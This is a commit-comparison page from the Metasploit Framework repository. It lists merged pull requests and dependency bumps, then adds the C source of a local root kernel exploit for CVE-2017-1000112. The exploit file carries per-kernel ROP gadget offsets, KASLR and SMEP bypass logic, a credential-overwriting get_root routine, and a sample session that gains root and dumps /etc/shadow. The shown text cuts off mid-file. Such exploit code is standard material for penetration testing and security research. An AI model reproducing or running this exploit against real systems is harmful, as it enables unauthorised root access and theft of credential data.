Compare commits

...

84 Commits

Author SHA1 Message Date
William Vu 91bab0d842 Land #10510, full disclosure for CVE-2018-15473 2018-08-22 12:52:48 -07:00
William Vu 9696adb09c Land #10500, stack trace fix for jobs -K 2018-08-21 09:05:07 -07:00
William Vu 0739892cc8 Land #10498, module doc for ssh_enumusers 2018-08-21 09:05:07 -07:00
asoto-r7 36642d3071 Land #10449, Implementation of download/upload file in reverse shell 2018-08-21 09:05:07 -07:00
asoto-r7 8ce1329e74 Land #10448, Implementation of CTRL+C to send SIGINT signal 2018-08-21 09:05:06 -07:00
Brent Cook 8c29a3b5da Land #10471, Import target DefaultOptions into the datastore 2018-08-21 09:05:06 -07:00
Brent Cook f3b9901c9f Land #10497, Add Lumpy Space password, whatever. 2018-08-21 09:05:06 -07:00
Brent Cook 5970f4882d Land #10479, Add CVE-2018-15473 to ssh_enumusers 2018-08-21 09:05:06 -07:00
Brent Cook dd32b8bd76 Land #10491, fix error generating PPC NOPS 2018-08-21 09:05:06 -07:00
Brent Cook fb042469df Land #10493, update help for show and search commands 2018-08-21 11:02:41 -05:00
bwatters-r7 ec71347283 Land #10476, add automation test for smb_ms17_010 scanner module
Merge branch 'land-10476' into upstream-master
2018-08-20 09:53:58 -07:00
Tim W f295b22290 Land #10313, add linux autostart persistence module 2018-08-20 03:19:57 -07:00
Tim W e5ef254155 Land #10320, add module for persistence in /etc/rc.local 2018-08-19 00:33:19 -07:00
bwatters-r7 403841f44d Land #10475, Bump payloads to 1.3.43
Merge branch 'land-10475' into upstream-master
2018-08-17 15:04:09 -05:00
Metasploit 83384269c9 Bump version of framework to 4.17.8 2018-08-16 14:19:47 -07:00
Jeffrey Martin ce1fe7fe77 Land #10203, Add command for persistent job handler when msf restart 2018-08-16 13:43:26 -07:00
William Vu c91eff48fb Land #10472, marked_redos module doc fixes 2018-08-16 13:43:26 -07:00
William Vu e1097f7e38 Land #10120, npm "marked" ReDoS module 2018-08-16 13:43:26 -07:00
William Vu 5094040242 Land #10469, bug fixes for shell's prompt_yesno 2018-08-16 13:43:26 -07:00
William Vu bf7c530f7e Land #10456, known_hosts fix for SSH modules 2018-08-16 13:43:26 -07:00
William Vu e11266f0a0 Land #10464, prompt to use plain module name 2018-08-16 13:43:25 -07:00
Metasploit 902d2bca96 Bump version of framework to 4.17.7 2018-08-16 10:02:42 -07:00
Adam Cammack 7cfe93133b Land #10394, Cleanup aws_ec2_instance_metadata 2018-08-15 12:52:58 -07:00
Adam Cammack 403b6b95b6 Land #10446, Add missing payload tests
Also adds consideration for IPv6 values needed for some payloads.
2018-08-15 12:49:15 -07:00
Adam Cammack 09c0947aa7 Land #10459, Fix PMA scanner vs. non-PMA hosts 2018-08-15 12:46:56 -07:00
Erin Bleiweiss aacbc43c1c Land #10451, Add 'payload' to module search command help documentation 2018-08-15 13:45:50 -05:00
h00die 76e08b9c4a Land #10457 docs for elasticsearch indices_enum 2018-08-15 11:40:29 -07:00
h00die 91c61bb692 Land #10454 updates to cgit exploit docs 2018-08-15 11:40:29 -07:00
William Vu e2b91bdfc1 Land #10433, pry and irb in developer dispatcher 2018-08-15 11:40:29 -07:00
bwatters-r7 abaf059cdb Land #10442, Bump payloads to 1.3.42
Merge branch 'land-10442' into upstream-master
2018-08-15 11:32:50 -05:00
Jacob Robles 9617c79f44 Land #10420, cgit < 1.2.1 Directory Traversal 2018-08-13 14:28:21 -07:00
Shelby Pace 1a86d57bce Land #10404, Add Path Traversal Oracle GlassFish 2018-08-13 09:18:05 -07:00
Tim W 22b1bb03e7 Land #10440, fix apk injection on windows 2018-08-12 10:16:45 -07:00
Wei Chen 8b75c7d9ab Land #10436, Add WebLogic exploit (CVE-2018-2628) 2018-08-09 12:54:19 -07:00
Metasploit b09fa1caf8 Bump version of framework to 4.17.6 2018-08-09 10:02:53 -07:00
William Vu 1949cade78 Land #10430, history clearing and bug fixes 2018-08-07 15:18:03 -07:00
William Vu 807baacc2c Land #10424, history deduplication on save 2018-08-07 09:28:00 -07:00
William Vu 6b6191a534 Land #10423, history deduplication on add
Also removes history -u deduplication on print.
2018-08-05 12:31:35 -07:00
Rob Fuller a67938aab6 Land #10421, Let use have help too! 2018-08-04 13:54:56 -07:00
Brent Cook b42cf88276 Land #10386, Add IEC104 client module 2018-08-04 05:44:48 -07:00
Brent Cook 714fdb12fd Land #10417, Update check method of Hadoop exploit 2018-08-04 05:30:08 -07:00
Brent Cook b95df100bb Land #10419, Party like it's 2016 2018-08-04 05:27:09 -07:00
Brent Cook 3fd0119d27 Land #9692, Add DoS module for Siemens Siprotec 4 2018-08-04 05:23:03 -07:00
Brendan Coles 9ac0d0cf6e Land #10358, Add Dicoogle PACS Directory Traversal scanner module 2018-08-03 22:30:03 -07:00
Wei Chen 937174d321 Land #10412, Add Cisco directory traversal auxiliary module 2018-08-02 14:47:24 -07:00
Metasploit acf88f50b6 Bump version of framework to 4.17.5 2018-08-02 10:05:07 -07:00
Tim W 65fcdcfd2f Land #9884, add linux ufo priv esc module 2018-08-02 02:56:27 -07:00
Adam Cammack 43f1f8eeb2 Land #10405, Cleanup dropped files for CMSMS 2018-08-01 12:46:44 -07:00
Adam Cammack f49f37f76d Land #10406, Fix notes service, port, protocol 2018-08-01 12:42:35 -07:00
bwatters-r7 4885117e46 Land #10413, Bump rex-powershell to 1.7.9
Merge branch 'land-10413' into upstream-master
2018-08-01 12:07:16 -07:00
Brent Cook 39e13258c7 Land #10330, Add SMBv2 support to bind_named_pipe payloads 2018-08-01 11:01:36 -07:00
Brent Cook 133291e85b Land #10409, Add Meterpreter target for axis_srv_parhand_rce 2018-08-01 10:49:29 -07:00
William Vu 0bad10de4e Land #10403, joomla_pages fixes 2018-07-31 09:03:18 -07:00
Wei Chen 580f4cf509 Land #10255, Adding Micro Focus Secure Messaging Gateway RCE 2018-07-30 19:08:43 -07:00
William Vu 0bc84bb6c6 Land #10305, SonicWall XML-RPC RCE 2018-07-30 12:15:59 -07:00
William Vu 2cb4b97164 Land #10384, upload_exec fixes 2018-07-30 11:57:09 -07:00
William Vu e6d9f39204 Land #10398, unused option cleanup in enum_juniper 2018-07-30 11:55:22 -07:00
Jacob Robles 4b59552f8a Land #10397, Added line in psexec_psh to support SMB2 2018-07-30 11:09:36 -07:00
Jacob Robles 7e180a390c Land #10060, vTiger CRM v6.3.0 Upload RCE 2018-07-30 10:34:17 -07:00
Shelby Pace ea2a9081a6 Land #10247, add WordPress Arbitrary File Deletion 2018-07-30 07:09:04 -07:00
Wei Chen b42545a153 Land #10387, Update mov_ss and add mov_ss_dll 2018-07-27 12:55:43 -07:00
Wei Chen 3a67d89711 Land #10383, Add WP Responsive Thumbnail Slider Plugin Exploit Module 2018-07-26 21:56:35 -07:00
Brent Cook e74ef65aa5 Land #9964, android post module to extract subscriber info 2018-07-26 15:00:23 -07:00
Metasploit 33dc83804d Bump version of framework to 4.17.4 2018-07-26 10:07:53 -07:00
Wei Chen 4ec22c0ceb Land #10376, Handle connection errors and fail_with in check 2018-07-26 09:28:58 -07:00
Jacob Robles 9f488cb150 Land #10365, script allows you to find modules without a specific reference 2018-07-26 07:58:05 -07:00
Jacob Robles f7f322b26e Land #10366, Add a script that can find CVEs based on other known references 2018-07-26 07:27:59 -07:00
Brent Cook 5171e7edd2 Land #10319, enable VHOST for ms15_034_http_sys_memory_dump 2018-07-25 16:53:51 -07:00
Brent Cook 8e5639a081 Land #10374, Net::SSH::CommandStream fixes 2018-07-25 16:23:47 -07:00
William Vu c3469b0c80 Land #10303, HttpClient Rex::ConnectionError fix 2018-07-25 16:04:21 -07:00
William Vu 10ffd286d9 Land #10375, smb_login defaults that suck less 2018-07-25 13:33:47 -07:00
William Vu 3f53efe785 Land #10375, DETECT_ANY_AUTH should be false 2018-07-25 13:33:47 -07:00
Wei Chen 5fce9d8222 Land #10300, Add root exploit for Axis network cameras 2018-07-25 12:47:50 -07:00
William Vu 428623f890 Land #10370, minor CouchDB fix 2018-07-24 23:13:33 -07:00
William Vu 68272c410e Land #10357, CouchDB improvements and docs 2018-07-24 22:59:52 -07:00
Wei Chen 3fbd4f8f2f Land #10368, PhpMyAdmin Login Scanner Module 2018-07-24 21:27:32 -07:00
Jeffrey Martin 35edb48c48 Land #10367, Pass a framework instance to external module shims 2018-07-24 15:34:17 -05:00
Brent Cook e9b04b9750 Land #10362, Fix reporting in backup_file, add more docs 2018-07-23 16:27:45 -07:00
William Vu 7713710591 Land #10345, OptionParser for console grep 2018-07-23 15:20:09 -07:00
Adam Cammack 6a5a19faca Land #10364, Handle nil for shell_reverse_tcp_ipv6
This makes things like `msfvenom --list-options` or `info` when options
are not set work.
2018-07-23 12:14:48 -07:00
asoto-r7 28bb518dbd Land #10349, deconflict the method names in mix-ins 2018-07-23 11:40:49 -07:00
Wei Chen e075836ad5 Land #10346, update check method and doc for CMS Made Simple 2018-07-20 15:49:07 -07:00
Wei Chen fdc24fe453 Land #10327, Add CMS Made Simple Upload/Rename Authenticated RCE 2018-07-19 10:20:10 -07:00
Metasploit fc4a5b9913 Bump version of framework to 4.17.3 2018-07-19 10:03:34 -07:00
216 changed files with 11650 additions and 786 deletions
+29 -29
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.17.2)
metasploit-framework (4.17.8)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -18,7 +18,7 @@ PATH
metasploit-concern
metasploit-credential (< 3.0.0)
metasploit-model
metasploit-payloads (= 1.3.40)
metasploit-payloads (= 1.3.43)
metasploit_data_models (< 3.0.0)
metasploit_payloads-mettle (= 0.4.1)
mqtt
@@ -103,7 +103,7 @@ GEM
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.7.0)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
backports (3.11.3)
bcrypt (3.1.12)
@@ -115,7 +115,7 @@ GEM
concurrent-ruby (1.0.5)
crass (1.0.4)
diff-lcs (1.3)
dnsruby (1.61.1)
dnsruby (1.61.2)
addressable (~> 2.5)
docile (1.3.1)
erubis (2.7.0)
@@ -129,7 +129,7 @@ GEM
faraday (0.15.2)
multipart-post (>= 1.2, < 3)
filesize (0.1.1)
fivemat (1.3.6)
fivemat (1.3.7)
hashery (2.1.2)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
@@ -157,7 +157,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.40)
metasploit-payloads (1.3.43)
metasploit_data_models (2.0.16)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -181,14 +181,14 @@ GEM
nexpose (7.2.1)
nokogiri (1.8.4)
mini_portile2 (~> 2.3.0)
octokit (4.9.0)
octokit (4.10.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
patch_finder (1.0.2)
pcaprub (0.12.4)
pcaprub (0.13.0)
pdf-reader (2.1.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
@@ -204,7 +204,7 @@ GEM
pry (0.11.3)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.2)
public_suffix (3.0.3)
rack (1.6.10)
rack-test (0.6.3)
rack (>= 1.0)
@@ -252,7 +252,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.78)
rex-powershell (0.1.79)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@@ -262,7 +262,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.14)
rex-socket (0.1.15)
rex-core
rex-sslscan (0.1.5)
rex-core
@@ -273,29 +273,29 @@ GEM
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
rspec (3.7.0)
rspec-core (~> 3.7.0)
rspec-expectations (~> 3.7.0)
rspec-mocks (~> 3.7.0)
rspec-core (3.7.1)
rspec-support (~> 3.7.0)
rspec-expectations (3.7.0)
rspec (3.8.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0)
rspec-mocks (3.7.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0)
rspec-rails (3.7.2)
rspec-support (~> 3.8.0)
rspec-rails (3.8.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.7.0)
rspec-expectations (~> 3.7.0)
rspec-mocks (~> 3.7.0)
rspec-support (~> 3.7.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-support (~> 3.8.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.7.1)
rspec-support (3.8.0)
ruby-macho (2.0.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.3)
@@ -327,7 +327,7 @@ GEM
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.14)
yard (0.9.16)
PLATFORMS
ruby
@@ -347,4 +347,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.16.2
1.16.3
+884
View File
@@ -0,0 +1,884 @@
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on:
// - Ubuntu trusty 4.4.0 kernels
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
// - Linux Mint rosa 4.4.0 kernels
// - Linux Mint sarah 4.8.0 kernels
// - Zorin OS 12.1 4.4.0-39 kernel
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking kernel version
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for distros based on Ubuntu kernel
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
char* SHELL = "/bin/bash";
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_kernel().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
